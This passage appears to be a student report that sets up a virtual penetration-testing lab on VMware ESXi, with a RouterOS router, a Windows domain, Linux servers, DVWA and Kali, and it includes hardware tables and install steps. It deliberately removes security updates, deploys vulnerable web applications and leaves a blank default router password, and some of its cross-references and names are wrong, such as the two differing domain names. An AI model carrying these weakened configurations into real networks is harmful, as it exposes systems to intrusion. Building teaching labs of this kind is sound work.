<td>2GB RAM / 1 x 1.4GHz Processor</td>
</tr>
<tr>
<td>Windows 7 SP1 Professional x64</td>
<td>Domain Client</td>
<td>1GB RAM / 1 x 1GHz Processor</td>
</tr>
<tr>
<td>Windows XP SP3 Professional x86</td>
<td>Domain Client</td>
<td>512MB RAM / 1 x 1GHz Processor</td>
</tr>
<tr>
<td>CentOS 6.4 x86</td>
<td>DNS/ Apache / MySQL Server</td>
<td>512MB RAM / 1 x 1GHz Processor</td>
</tr>
<tr>
<td>Ubuntu 12.04</td>
<td>Ubuntu Client</td>
<td>512MB RAM / 1 x 1GHz Processor</td>
</tr>
<tr>
<td>Debian 7.4 Wheezy x86</td>
<td>Apache 2 / MySQL Server</td>
<td>512MB RAM / 1 x 1GHz Processor</td>
</tr>
<tr>
<td>Kali Linux 1.0.5 x64</td>
<td>Pen Testing Tutorial</td>
<td>2GB RAM / 1 x 1.4GHz Processor</td>
</tr>
<tr>
<td>Router OS 6.7</td>
<td>Central Router</td>
<td>256 RAM / 1 x 1GHz Processor</td>
</tr>
</tbody>
</table>

*Table 1 - Showing the list of required operating systems*
4.1.1. **Total minimum resources required**

These are the total minimum resources for the virtual environment to be at a stage that can run all services and nothing more.

- 1 x CPU - 8 Cores at 2.0GHz

- RAM - 8GB

- Disk Space =< 300GB

Resources less than the minimum will cause issues when testing begins and will make it a difficult and unsuitable testing environment.

Disk space will be required for Snapshots, a term given to VMware’s technology of creating an image of a live service that remains in its present state ready to be reverted back to. Snapshots are very useful as they compliment the backup procedure and are heavily used within the corporate network.

4.1.2. **Total recommended resources**

This is the total recommended resources for the virtual environment to run with full functionality and failover.

- 1 x CPU - 12 Cores at 2.0GHz

- RAM - 12GB

- Disk Space => 500GB

Computational resources can be over-provisioned such that virtual machines are each presented an amount of resources that, together, total more than is physically available. In reality VMware dynamically allocates the physical resources according to demand from the virtual machines. In essence this makes the virtual machine ‘think’ is has the resources available to use.
### 4.1.3. Operating System Costs

<table>
<thead>
<tr>
<th>Description</th>
<th>License Version</th>
<th>Cost</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>VMware ESXi 5.5</td>
<td>Free</td>
<td>£0</td>
<td><a href="http://www.vmware.com/uk">http://www.vmware.com/uk</a></td>
</tr>
<tr>
<td>RouterOS</td>
<td>4 (WISP)</td>
<td>£27.28 ($45)</td>
<td><a href="http://www.mikrotik.com/">http://www.mikrotik.com/</a></td>
</tr>
<tr>
<td>Microsoft Windows Server 2012 Standard</td>
<td>Student (Derby.ac.uk)</td>
<td>£0</td>
<td>Microsoft DreamSpark</td>
</tr>
<tr>
<td>Microsoft Windows 7</td>
<td>Student (Derby.ac.uk)</td>
<td>£0</td>
<td>Microsoft DreamSpark</td>
</tr>
<tr>
<td>Microsoft XP Professional + SP1</td>
<td>Company Provided</td>
<td>£0</td>
<td>Company License</td>
</tr>
<tr>
<td>CentOS 6.4</td>
<td>Free</td>
<td>£0</td>
<td><a href="http://www.centos.org/">http://www.centos.org/</a></td>
</tr>
<tr>
<td>Debian 7.4 Wheezy</td>
<td>Free</td>
<td>£0</td>
<td><a href="http://www.debian.org/">http://www.debian.org/</a></td>
</tr>
<tr>
<td>Ubuntu 12.0.3</td>
<td>Free</td>
<td>£0</td>
<td><a href="http://www.ubuntu.com/">http://www.ubuntu.com/</a></td>
</tr>
<tr>
<td>Kali Linux 1.0.5</td>
<td>Free</td>
<td>£0</td>
<td><a href="http://www.kali.org/">http://www.kali.org/</a></td>
</tr>
</tbody>
</table>

*Table 2 - Showing the costs of the operating systems required for the tutorial*

### 4.1.4. Software Costs

<table>
<thead>
<tr>
<th>Description</th>
<th>License Version</th>
<th>Cost</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>DVWA 1.0.8 (Damn Vulnerable Web Application)</td>
<td>Free</td>
<td>£0</td>
<td><a href="http://www.dvwa.co.uk/">http://www.dvwa.co.uk/</a></td>
</tr>
<tr>
<td>DokuWiki 2006-03-09</td>
<td>Free</td>
<td>£0</td>
<td><a href="https://www.dokuwiki.org/">https://www.dokuwiki.org/</a></td>
</tr>
</tbody>
</table>

*Table 3 - Showing the costs of the software required for the Tutor*
4.2. **Equipment List**

<table>
<thead>
<tr>
<th>Equipment List</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dell PowerEdge 2950</td>
<td>Main Virtual Host</td>
</tr>
<tr>
<td>Dell PowerEdge R200</td>
<td>Extended Resources Host</td>
</tr>
<tr>
<td>2 x 500GB 2.5inch HDD</td>
<td>2 for 2950 Raid 1 Config</td>
</tr>
<tr>
<td>2 x 500GB 3.5inch HDD</td>
<td>2 for R200 Raid 1 Config</td>
</tr>
<tr>
<td>Server Rails</td>
<td>Holding the Servers in place</td>
</tr>
<tr>
<td>Linksys 48 Port Switch</td>
<td>One now made redundant due to its age.</td>
</tr>
<tr>
<td>6 x 1mtr Cat 5e Ethernet Cable</td>
<td>4 to connect from the Linksys switch to the ESXi Hosts.</td>
</tr>
<tr>
<td>7 x UK kettle Plug Lead</td>
<td>3 to connect to the MikroTik</td>
</tr>
<tr>
<td>6 x 1mtr Cat 5e Ethernet Cable</td>
<td>2 for Dell PowerEdge 2950 / 1 for R200 / 1 For Local Screen Display / 1 for Linksys 48 Port Switch / 2 Spare</td>
</tr>
<tr>
<td>2 x Standard VGA Cable</td>
<td>1 for Local Monitor / 1 Spare</td>
</tr>
<tr>
<td>1 x USB Keyboard</td>
<td></td>
</tr>
<tr>
<td>1 x USB Mouse</td>
<td></td>
</tr>
<tr>
<td>USB Memory Stick</td>
<td>Installing ESXi on the Hosts</td>
</tr>
<tr>
<td>6 U Rack Space</td>
<td>2 U for 2950, 1U for R200 and 1U for Linksys Switch, 2 U for APC 1500VA UPS</td>
</tr>
<tr>
<td>5 x UK Plug Sockets or Kettle sockets</td>
<td>To Supply power to the systems, 2 for 2950 1 for R200 1 for Local Monitor</td>
</tr>
<tr>
<td>1 x Windows XP License</td>
<td>Required for Windows Security Testing</td>
</tr>
<tr>
<td>Initial Internet Access</td>
<td>Required for Firmware and software updates.</td>
</tr>
<tr>
<td>RouterBoard RB750</td>
<td>Microtik Needed as an External firewall to the Tutorial Environment.</td>
</tr>
<tr>
<td>APC UPS 1500</td>
<td>Required for Emergency purposes.</td>
</tr>
<tr>
<td>Public IP Address</td>
<td>External access to environment</td>
</tr>
<tr>
<td>Tools / Fixing items</td>
<td>Bolts/Screw drivers etc</td>
</tr>
<tr>
<td><strong>Items Supplied by a third party</strong></td>
<td></td>
</tr>
<tr>
<td>Router OS</td>
<td>4 (WISP) License</td>
</tr>
<tr>
<td>Server 2012</td>
<td>Student License</td>
</tr>
<tr>
<td>Windows 7</td>
<td>Student License</td>
</tr>
<tr>
<td>Kali</td>
<td>Free</td>
</tr>
<tr>
<td>CentOS</td>
<td>Free</td>
</tr>
<tr>
<td>Debian</td>
<td>Free</td>
</tr>
</tbody>
</table>

*Table 4 - Showing the Total Required Physical and Software Items for the Network setup.*
4.3. Summary

Establishing the minimum requirements and various costs for the project was an essential step as it provides an understanding of what is needed for the tutorial environment to become fully functional. In doing so the requirements have been split into two different categories, one identifying the hardware and the other the software. Table 4 has been made to show a detailed list of all the resources required for this scenario and will be used to create a corporate network utilising the resources provided by the hosting provider.
5. Network Design

This section covers the setup of the networking environment that will be used within the network and security tutorial. There will also be information as to why that particular software or operating system has been chosen for use when performing ethical hacking challenges.

The overall network will be composed of four individual networks separated by a router which in this case will be RouterOS (See section Error! Reference source not found.). It will be small enough network to design and implement in the short amount of time, but will also supply some of the complexity of an simulating a corporate network to give that essence of realism that the students can therefore engage in.

The following will be covered in the next sections -

- ESXi Host setup - i.e. The host supplying resources to host the Network and Security Network.
- The setup of each individual service within that network.
5.1. Management Network Breakdown

This network contains the tutorial network, it forms the structure that allows communications between the tutorial network and the remote management network that will be used in accessing the environment.

5.1.1. Network Diagrams

![Diagram of the tutorial environment management network]

*Figure 6 - Showing the Tutorial Environment Management Network*
Figure 6 shows the management network used for the transfer of VLANs from host 1 to host 2 and also the network that will be used to VPN in order to access the Tutorial Network.

![Physical Environment Network Diagram]

Figure 7 - Showing the Physical Environment Network Diagram

Figure 7 shows the physical network layout of the management network that sits above the Tutorial network.

The project will need two 1GB Cat5e Ethernet cables to connect from both virtual hosts identified in Figure 64 by the 2 pairs of cables running from the two servers into the SRW2024. This will allow network access to manage them and also route the internet into the environment.
5.2. Tutorial Network Breakdown

This section involves the breakdown of the tutorial network into its components.

5.2.1. Network Diagram

![Tutorial Network Logical Diagram](image)

*Figure 8 - Showing the Tutorial Environment Logical Diagram*

Figure 8 shows a logical diagram of the tutorial network. As you can see there are four main network components joined together with RouterOS.
Figure 9 shows the full network diagram of the tutorial network. It incorporates all the host that will be within those subnets.
5.2.2. Domain network

Domain network will be comprised of three parts from a tutorial level

Server Section -

- 172.25.1.10-13

This will host the services on, such as the domain controller and DNS, normally they would be in their own subnet but an explanation as to why they shall be in the same range as the rest of the clients will be made shortly.

Windows (Client) Section -

- 172.25.1.20-21

It will comprise the two windows machines, both Windows XP Professional and Windows 7 Professional

Linux (Client) Section -

- 172.25.1.30

It will host the one and only Linux client.

As mentioned earlier all of these services could have been split up into their own subnets, but as no assumptions on the understanding of subnets will be made, the IP ranges used will be reduced to one comprising of 61 usable host addresses within a /26 subnet, instead the virtual's will have an appearance as if they are separated in groups of IP's within the same range.

Virtual's being hosted are -

Clients -

- Windows XP Professional - (daves-pc)
- Windows 7 Professional - (joes-pc)
- Ubuntu Desktop - (claire’s-pc)
- Kali
Servers -

- Windows Server Standard 2012
- CentOS DNS
- DVWA

5.2.3. Demilitarized Zone (DMZ)

A necessary network to have within a corporate environment, it sits between the internal corporate network and the outer public network, also known as the Internet. It is commonly used for Public facing services such as web servers that are partly needing to be shielded from traffic which can be found on the public network.

Virtual's being hosted are -

- DokuWiki

5.2.4. Internet

As the environment will not have the true public network attached directly, a fake internal network will be set up, replicating the security standards that would be met when trying to talk to any of the other three networks.

Virtual's being hosted are -

- Kali

5.2.5. BT Infinity

A subnet that can be routed out to the real internet for updates, specifically used when setting up Kali, to make sure the latest vulnerabilities databases are available when performing the exploits.
### 5.2.6. Networking Configuration

<table>
<thead>
<tr>
<th>Name</th>
<th>IP address Range</th>
<th>Netmask</th>
<th>Gateway</th>
<th>Broadcast Address</th>
<th>Subnet</th>
</tr>
</thead>
<tbody>
<tr>
<td>BT Infinity</td>
<td>172.16.0.1 - 172.16.255.254</td>
<td>255.255.0.0</td>
<td>172.16.0.1</td>
<td>172.16.255.255</td>
<td>/16</td>
</tr>
<tr>
<td>Domain</td>
<td>172.25.1.1 - 172.25.1.62</td>
<td>255.255.255.192</td>
<td>172.25.1.1</td>
<td>172.25.1.63</td>
<td>/26</td>
</tr>
<tr>
<td>DMZ</td>
<td>172.25.2.1 - 172.25.2.6</td>
<td>255.255.255.248</td>
<td>172.25.2.1</td>
<td>172.25.2.7</td>
<td>/29</td>
</tr>
<tr>
<td>Internet</td>
<td>172.25.3.1</td>
<td>255.255.255.248</td>
<td>172.25.3.1</td>
<td>172.25.3.7</td>
<td>/29</td>
</tr>
</tbody>
</table>

*Table 5 - Showing the Network IP configuration for the tutorial environment*
5.3. ESXi Configuration

This section provides a detailed setup of VMware's ESXi software will be explained, in doing so the setups of all the virtual machines will be provided so that a true representation of a small corporate network can be achieved.

Note - this section is a true representation of a corporate network setup on VMware ESXi, all setup steps are part of the global steps necessary to provide a network within the ESXi operating system. It does not adhere to any other platforms and the setup will have to be change accordingly.

![ESXi virtual platform](image)

*Figure 10 - Showing the ESXi virtual platform*

This is the true hypervisor platform beneath the GUI interface which will be used to set the environment up, it can be accessed locally only and provides the ability to assign a static IP address.

Once ESXi has been installed on physical hardware you will be able to connect to it over the http/https protocol and will display this page shown in Figure 11.
To be able to access the system itself it can be accessed using two different methods, one using command line, and the other using the vSphere client shown in Figure 12, essentially an application that is installed on a Windows Machine, and is used to connect directly with the server hosting the hypervisor technology over the network.
Once logged onto the hypervisor you will see the interface shown in Figure 13, it allows the user to configure all the virtual machines from the global networking down to what is installed on a particular virtual through the console interface.

Its primary function is to provide the ability to set up individual VLANs (See section 5.3.3) that supply different network ranges depending on the service hosted within them.

5.3.1. Requirements

There are 2 Physical Network Adapters that are available and they will be used for -

- Management Network
- VLAN Trunk port to other Host

Next we will have a look at the networking that will be involved within ESXi
5.3.2. ESXi Networking

Within this project all of the facilities that would otherwise be a physical machine or device within a network will be simulated within a virtual environment.

One of the devices simulated that is provided by VMware is a switch vSwitch.

- **Switches**

Known as vSwitches within VMware Hypervisor, they provide the layer 3 switch ability to separate virtual's into their own VLAN networks. It does this by assigning the link from the virtual to the vSwitch with a port group. This is used to assign the virtual a VLAN Identity tagging the network packets with a specific label that will only allow those with that identity to be able to read each other's traffic.

![vSwitch Diagram](image)

*Figure 14 - Showing the vNetwork Standard Switch Network (VMware, 2014)*

Figure 14 shows how a vSwitch is broken down into different port groups labelled A - E. If you have the same port group on both virtual machines and also different hosts, those virtual machines will be able to talk to each other on the same network providing the correct VLAN's are set up on the physical network side.
**VLAN Tagging**

VLAN tagging is the ability to tag the packets in which pass through the switch through particular ports as a number between 1-4049. On EXSI the two VLAN's that are reserved only for the system itself are 1 and 4049 for hardware use, but the rest are free to use and can be transmitted out of the environment onto a physical network, providing a Layer 3 switch is there to un-tag the traffic.

In this section will be the list of VLAN's used within the ESXi environment.

- 3000 – Management Network
- 3011 – BT Infinity – For use within the virtual environment to allow updates to the virtual before testing begins
- 3050 – Domain Network – Used for Client machines and most of the servers, this will be a simplified corporate network.
- 3060 – DMZ Network – Web server will be positioned between both the Domain Network and Internet Network.
- 3070 – Internet Network – Machines placed outside of the network effectively simulating the internet connectivity conditions when trying to access the domain resources.

VLAN ID 3000 will not be attached to the virtual environment due to it being only used for the Management Network, the 3011,3050,3060 and 3070 will be joined to RouterOS which will then route packets accordingly.
5.3.3. Adding VLAN's

It is a relatively simple task to setup on the ESXi environment, and in doing so provides the backbone to the networking that will help create a corporate network for students to use.

It can be accessed from the configuration tab within ESXi and then by selecting 'Networking' you can add and remove different port groups (VLANS) as and when needed.

![ESXi Port Group and VLAN assignment](image)

*Figure 15 - Showing the ESXi Port Group and VLAN assignment*

What you can see in Figure 15 is the ESXi port groups assigned to two vSwitches (See section 164), in addition to that those vSwitches they are joined to a physical NIC of which there are two (See Appendix 10.1.1) on the Dell Power Edge 2950 III.

The steps below are provided to set up the 4 different VLAN's that will be used for the tutorial network (See Section 5.2)

**Step - 1 Add Networking**

Under configuration select, networking and then click 'Add Networking...' located at the top right of the configuration window.

**Step - 2 Connection Type**

Select 'Virtual Machine' to add a labelled network to handle virtual machine network traffic.
Step - 3 Network Access

Select a vSwitch that will handle the network traffic from this virtual machine. As this project only has two physical network adapters, only the one which is attached to the VLAN Trunk will be selected to allow VLAN's to talk to the other ESXi Host.

Step - 4 Connection Settings

You can choose a network label and also assign a VLAN ID tag to that Port Group.

Step - 5 Configure all the VLAN's

All VLAN setups are repeated until the configuration shown in Figure 16

![Figure 16 - Showing the ESXi Networking and VLAN Setup once it's been configured](image-url)
5.3.4. Local Storage

ESXi when set up by default will allow local storage facilities to be available, in doing it will be possible to store ISO's locally on disk before they are transformed into the necessary operating systems needed for this project. In doing so a folder named “ISOs” will be created allowing all the images to be stored there. This will make sure the environment is tidy and allows quick access to them if and when a service requires it.

5.3.5. Install image Management

ISO's that will be used during the project will need to be uploaded to the environment, unfortunately due to the restriction on the VPN connection into work all operating systems must be loaded onto the storage system while on-site. A Laptop can be used by selecting the data store from within the host and then by 'right clicking' to gain access to the upload utility.

5.3.6. VMware Tools

Due to it being contained within the ESXi virtual operating environment, VMware tools will be required.

- VMware tools is described as being a suite of tools designed to increase the performance of the guest operating system and also improves the management of the virtual machine.

- It improves areas such as video resolution, network display speed and the overall user friendliness and quality which will make it a more effective and realistic operating system to work with.

Without the tools users will experience sluggish and perhaps unresponsive virtual machines, the tools are designed to eliminate this problem which is why they will be a necessity in this environment.
5.4. Installing RouterOS

In order to create a new virtual machine select the 'Create a new virtual machine' from under the basic tasks shown in Figure 13.

**Step - 1 Select Configuration**

Leave it set to Typical Configuration and click next.

**Step - Virtual Name**

Name your Virtual Machine and click next.

**Step - 3 Storage device**

Select the Datastore it will be saved to.

**Step - 4 Operating System Type**

Select what type of Operating system it will be. (Specify the correct one or nearest type of operating system as this will have an effect on the virtualisation compatibility).

**Step - 5 Create Network Connection**

Assign the virtual a 'Virtual Network Interface', and specify a VLAN ID it will be attached to.

**Step - 6 Create a Disk**

Specify virtual disk size and set to 'Thick Provision Lazy Zeroed'

**Step - 7 Review Options**

Select Edit Virtual before completing this will allow you to be able to set further settings before starting the virtual machine.

**Step - 8 Additional Tasks**

Select 'New CD/DVD (adding)'

**Step – 9 Virtual Machine settings**

When creating a virtual machine you will be prompted by the virtual settings menu, it will give you a preview of what virtual hardware will be assigned to the virtual once you have gone through the configuration pages.
To access the setting menu of a virtual machine you will need to right click the virtual and click "Edit Settings"

**Step - 10 MikroTik Configuration**

Normally with installations with any of the other operating systems, it wasn't necessary to change much from the default, but with a MikroTik installation it's a little different.

**Step - 11 Select Configuration**

Leave it set to Typical Configuration and click next.

**Step - 12 Virtual Name**

Name your Virtual Machine, for this project it will be called RouterOS and click next

**Step - 13 Storage device**

Select the Datastore that it will be saved to, which in this case is Datastore1

**Step - 14 Operating System Type**

Select what type of Operating system it will be. (Specify the correct one or nearest type of operating system as this will have an effect on the virtualisation compatibility). In this case it will be Linux Other, as VMware doesn't cater directly for RouterOS.

**Step - 15 Create the Network Connection**

Assign 4 virtual network interfaces, and specify a VLAN ID that it will be attached to.

Due to RouterOS being the central gateway for all networks within the network environment it will require all four networks to be assigned to it.

**Step - 16 Create a Disk**

Change the Virtual hard disk from SCSI 0.0 to IDE 0:1 otherwise RouterOS will not see the virtual hard drive.

Specify virtual disk size and set to 'Thick Provision Lazy Zeroed'

Once that is complete click next to complete the virtual setup.
Step - 17 Loading the Virtual

**Note** - This next part contain the MikroTik Router Software installation

This process will determine what your installation of RouterOS will be able to achieve depending on the functions you enable.

For this project these features will need to be enabled by selecting them using the arrow keys plus the spacebar -

- system (Default)
- advanced-tools
- routing
- security
- user-manager

If you are unsure on what you will be needing you can click 'a' for all but in this case this project will only need what is mentioned in the above list.

Click 'i' to install and then enter 'n' as we do not wish to keep the old configuration

It will then prompt you due to all data being erased from the virtual disk, but as there is nothing currently installed already we can select 'y' to continue.

Once installed power off the virtual and enter the bios to switch it back to 'booting from the hard drive' instead of the mounted disk image.

**Step - 18 Console Login**

When the installation has been completed the default login page will be the one shown in Figure 5. Now due to the environment not being set up, there will be no password set for the Operating system. You can set one at a later stage but for the moment leave it blank so that the configuration can be set up quickly.

**Note** - Don't forget to set a password
The default settings are

- Username: admin
- Password: <blank>

Once logged in, in order to navigate the menu you can double tap the 'tab' key to see the menu layout shown in

Figure 17.

Figure 17 - Showing the MikroTik main menu

First think we will want to do is, to find out what interfaces RouterOS picks up and also label them according to the network that will be attached to them.

**Step - 19 View the Interfaces**

To view the interfaces type -

```
[admin@MikroTik] > /interface print
```

It will then show you the list of interfaces as shown in

Figure 18
Before we change the name of the interface we will need to check which network is connected to which interface, as they are labelled ether1-4 it will be difficult from this view. In order to find out the details it can be seen by right clicking the Virtual machine on the ESXi host, and then click 'Edit Settings'. You will end up with a window appearing as shown in Figure 19.

As can be seen in
Figure 19 it shows you the order in which the interfaces associated with RouterOS have been assigned to different VLAN's.

In doing so we can now name the interfaces.

**Step - 20 Change the interface name**

To change the interface name on RouterOS type this into the console -

```
[admin@MikroTik] > interface set ether1 name=BT_Infinity
```

**Note** - RouterOS will not accept spaces in the naming convention.

Repeat the process for ether2, ether3 and ether4 but using the names of the subnets specified earlier. You will then end up with Figure 20 -

```
[admin@MikroTik] > interface print
Flags: D - dynamic, X - disabled, R - running, S - slave
  #   NAME        TYPE  MTU L2MTU MAX-L2MTU
  0  BT_Infinity ether 1500  
  1  DMZ         ether 1500  
  2  Domain      ether 1500  
  3  Internet    ether 1500  
```

*Figure 20 - Showing the completed list of named interfaces on RouterOS*

**Step - 21 Assigning an IP to an interface**

In order to assign an IP to an interface you will need to know where to look, on RouterOS it is very simple to use and as you would expect, the configuration is under -

```
[admin@MikroTik] > ip address print
```

**Note** - 'print' is used to show the configuration of that specific feature.

Currently there is nothing set so you will see nothing as shown in

```
[admin@MikroTik] > ip address print
Flags: X - disabled, I - invalid, D - dynamic
  #  ADDRESS     NETWORK INTERFACE
```

*Figure 21.*
In order to add an address and network range to a specific interface you will need to add it using this command.

```
[admin@MikroTik] > ip address add
```

Note you can auto complete by clicking tab once or to lookup the command you want, you can click tab twice.

In order to configure an interface such as 'BT_Infinity' shown in

```
[admin@MikroTik] > ip address print
```

The networking will need to be set up to be provided to the project for the purpose of updating all of the virtual environment virtual's. As mentioned in Table 5. The network range for 'BT_Infinity' can now be configured, in order to do this type -

```
[admin@MikroTik] > ip address add address=172.16.255.254/16
interface=BT_Infinity
```

This will allow RouterOS to know which network is on what interface port, without it we cannot attempt to route traffic from one network to another as it would not know where these networks are.

```
[admin@MikroTik] > ip address print
```

Figure 21 - Showing the MikroTik IP address pre-configuration

Figure 20.
Now that one interface has been configured repeat the process until 4 interfaces are configured like this.

```
[admin@MikroTik] > ip address print
Flags: X - disabled, I - invalid, D - dynamic
#   ADDRESS     NETWORK      INTERFACE
0   172.16.255.254/16  172.16.0.0  BIInfinity
1   172.25.1.1/26     172.25.1.0  Domain
2   172.25.2.1/29     172.25.2.0  DMZ
3   172.25.3.1/29     172.25.3.0  Internet
```

Within the RouterOS Interface we will need to disable the 'CDP' as this will broadcast the interface in which RouterOS has the virtual machines on. It is something Wireshark or programs similar will pick up on when sniffing the traffic.

CDP stands for Cisco Discovery Protocol, RouterOS supports this function and it can advertise the existence to other devices on the same LAN.

**Step - 22 MikroTik Firewall Configuration**

In order to configure the MikroTik to represent a main router, we are going to need to implement rules in order to deal with traffic interacting on specific interfaces.

See section 9.1 for the complete setup.

**Step - 23 Setup Complete**
5.5. **Windows Configuration**

In this section will be the installation manuals for setting up the environment to the standards that were performed in the tests.

It will be comprised of these three services.

- Microsoft Server 2012 Standard x64
- Microsoft Windows XP Professional + SP3 x86
- Microsoft Windows 7 Professional + SP1 x64

Each one will provide designed specifically for the environment, and in doing so updates that would otherwise be installed (Specified at the end of each installation manual) will not be for the purpose of the ethical hacking tutorial.
5.5.1. **Setting up Windows Server 2012 Standard Domain Controller**

This section provides the instructions on how to install Server 2012 Standard for the purpose of the ethical hacking tutorial. Please note other versions may be different.

Windows Server 2012 is the latest server edition in the Microsoft family, its purpose will be to give the project environment a domain service allowing a corporate network to be simulated.

It also provides the most up-to-date server edition for students to test their attacks upon.

*Figure 24 - Showing the Microsoft Windows Server 2012 Standard desktop*

**Specifications -**

- Operating System: Server 2012 Standard x64
- Storage Size: 20 GB (Min)
- Resources: 4 CPU Cores and 4GB RAM
Guest Setup

Step - 1 Create new Virtual Machine

- Right click the host and click 'New Virtual Machine'
- Select 'Typical'
- Create a Virtual Name
- Select 'datastore1'
- Select Windows
- From the list choose Windows 2012
- Select the correct NIC - BT Infinity (One connected to internet) leave adapter as default
- Create the disk - Thick Provision Lazy Zeroed with 50GB
- Select 'Edit the virtual machine settings' and click continue
- Edit Memory to reflect the Specifications
- Edit 'New CD/DVD (adding)
- Tick Datastore ISO File and browse for the Server 2012 ISO file
- Tick 'Connect at power on'
- Open the console to begin the Operating System Install.

Step - 2 Install Operating System

Install Server 2012 Standard on ESXi with these settings.

- UK Based Installation
- Click 'Install'
- Click the installation with (Server with a GUI) and click 'Next'
- Select Drive 0 (Unformatted) and click 'Next'

Initial setup complete.
**Step - 3 Create NIC (ESXi Configuration)**

Associate the Virtual NIC onto VLAN 3011 for it to be able to receive updates using the internet connection that is routed into the environment.

**Step - 4 Configure Networking**

Rename and configure networking to receive DHCP (This comes by default when installing windows) as VLAN 3011 will be transparent to the virtual as the packets will be untagged by the virtual switch it is connected to.

**Step - 5 VMware Tools**

On the ESXi click the virtual and click -

Inventory > Virtual Machine > Guest > Install / Upgrade VMware Tools

Double Click the mounted Disk within the virtual machine.

**Step - 6 Installing additional features.**

At this point you will need the installation disk to install the additional features. To do so you 'right click' the virtual and click the edit settings.

Add Server roles applicable to the project

- Active Directory Domain Services
- File and Storage Services (Default)

Once selected click next.

Once Active Directory Domain Services has been complete, we need to configure the root domain name for the forest. Pick a domain name and click next. For this project a domain name will be -

- lan.project.local

On the Domain Controller Options, deselect 'Domain Name System (DNS Server' as this server will not have this function in this project environment.
A password will be required for the 'Directory Services Restore Mode (DSRM) in order to continue the installation, this service provides the ability to repair or recover the active directory database if it becomes corrupt or damaged.

- Set NetBIOS Domain name

This will need to be configured as part of the setup for the domain, but it is not essential in this project as there will be no Microsoft product running that is older than Windows XP.

- NetBIOS Domain name will be 'PROJECT'

- Location of AD DS database, log files, and SYSVOL.

- Leave these settings as default and click next.

Ignore the Warning message 'Windows Server 2012 domain controllers have a default for the security setting named "Allow cryptography algorithms compatible with Windows NT 4.0" that prevents weaker cryptography algorithms when establishing security channel sessions'

This warning relates to an issue with Windows NT 4.0 that may or may not have an issue establishing a security channel to the domain controller. NT 4.0 will not be used during this project.

All prerequisite checks will pass successfully, continue by clicking install.

Setup is now complete.

**Step - 7 Change the Network interface to represent the local network.**

- Start > Control Panel > Network and Sharing Centre > Change Adapter Settings

- Right Click and select properties.

- Select Internet Protocol Version 4 (TCP/IPv4)

- Click Properties and then change it to the settings specified in the network configuration.
Step - 8 Joining the machines to the network.

Once the domain controller has been set up, you will need to create a domain admin in order to join the machines to the domain itself.

In this case you will need to create a user who's called 'AD.admin'. It will be used for the administration on all the Microsoft products on the networks, otherwise known as the Domain Administrator.

For the organisation, a 'Company' directory has been made within the root domain so that it can be further organised into departments and users, but for the test environment we won't be needing anything further except an Active Directory Administrator and also a user.

Once the domain administrator has been set up you will now be able to use this account to connect.

Step - 9 Setup is now complete.

The Domain controller is now set up and will now enable you to add devices to the Domain, providing the DNS is set up.
5.5.2. Setting up Windows XP Professional

This section provides the instructions on how to install Windows XP Professional + SP3 x86 for the purpose of the ethical hacking tutorial. Please note other versions may be different.

Specifications

- Operating System: Windows XP Professional x86 + Service Pack 3
- Storage Size: 15 GB (Min)
- Resources: 1 CPU Cores and 1 GB RAM

Guest Setup

Step - 1 Create a new Virtual Machine

- (See Section 5.5.1) Use specification settings where necessary as shown at the start of section 5.5.2.

Step - 2 Install Operating System.

- Press Enter to install Windows
- Click F8 to accept the terms and conditions
- Click Enter to install on the 'Un-partitioned Space'
- Click 'Format the partition using the NTFS file system (Quick)
- Wait for the Operating system to install
- Select the language you want to use (UK + UK keyboard Layout)
- Type in the name 'User1' (can be changed later)

Note - Setup the Windows XP environment without personalizing it. I.e. do not set the domain. Setup will commence once the operating system reaches the desktop.

- Insert the product key for XP
- Select Typical settings
- Accept 'Work Group' defaults and click next
- The operating system will now be installed.
**Step - 3 Create NIC**

Associate the Virtual NIC onto VLAN 3011 for it to be able to receive updates using the internet connection that is routed into the environment.

**Step - 4 Configure Networking**

Rename and configure networking to receive DHCP (This comes by default when installing windows) as VLAN 3011 will be transparent to the virtual as the packets will be untagged by the virtual switch it is connected to.

**Step - 5 VMware Tools**

On the main ESXi Management window, select -

- Inventory > Virtual Machine > Guest > Install / Upgrade VMware Tools

This will mount a local disk within the virtual machine so that you can run via the windows interface.

**Step - 6 Joining the Domain**

In order to join the domain you must have these pre-requisites -

Domain Controller - To hand out profiles of those users created on the active directory. It allows a central location in which permissions can be granted to different areas on the domain.

Central Domain Name Server - Together with its 'forward lookup' set up to accept requests to lookup the LDAP / Kerberos requests made by all windows machines.

Under computer properties select

Computer Name > Change

Type in the domain name set up when configuring the Domain Controller.

This should be -

'tan.project.local'
If configured correctly it will prompt you for a Domain Administrators credentials in order to join the machine to the domain.

![Computer Name Changes](image)

*Figure 26 - Showing the Windows XP join domain confirmation window*

**Step - 8 Identify Installed Patches / Vulnerability Updates**

Record installed updates and remove if applicable to the environment.

Go to -

- Add or Remove Programs
- At the top right, select Show Updates

**Step - 9 Initial Setup complete**

For the purpose of the tutorial we will be renaming the Windows XP Client to a user’s name which will give the illusion of a corporate network.
5.5.3. Setting up Windows 7 Professional

Windows 7 will be incorporated within the environment giving the opportunity to test vulnerabilities on one of the latest and highly used operating system.

Specifications -

- Operating System: Windows 7 Professional x64 + Service Pack 1
- Storage Size: 20 GB (Min)
- Resources: 1 CPU Cores and 1 GB RAM
Guest Setup

Step - 1 Create new Virtual Machine

- (See Section 5.5.1) Use specification settings where necessary as shown at the start of section 5.5.3.

Step - 2 Install Operating System.

- Load the Disk
- Navigate to the console
- Click Install
- Select the desired operating System and click Next
- Accept the terms and conditions
- Click 'Custom (advanced)'
- Select Disk 0 Unallocated Space and click next.
- Operating system will now install, please wait.
- Type a username in 'User1'
- In the Computer name type in the desired computer name. (joes-pc)

Note - Setup the Windows 7 Environment without personalizing it. I.e. do not set the domain. This setup will commence once the operating system reaches the desktop.

Once the desktop appears continue with the installation steps.

Step - 3 Create NIC

Associate the Virtual NIC onto VLAN 3011 for it to be able to receive updates using the internet connection that is routed into the environment.

Step - 4 Configure Virtual Networking

Rename and configure networking to receive DHCP (This comes by default when installing windows) as VLAN 3011 will be transparent to the virtual as the packets will be untagged by the virtual switch it is connected to.
Step - 5 VMware Tools

- On the main ESXi Management window, select -
- Inventory > Virtual Machine > Guest > Install / Upgrade VMware Tools
- This will mount a local disk within the virtual machine so that you can run via the windows interface.
- Go to Start > Computer
- Double click the install disc mounted.
- Once finished you can configure the local network.

Step - 6 Configure the Local network

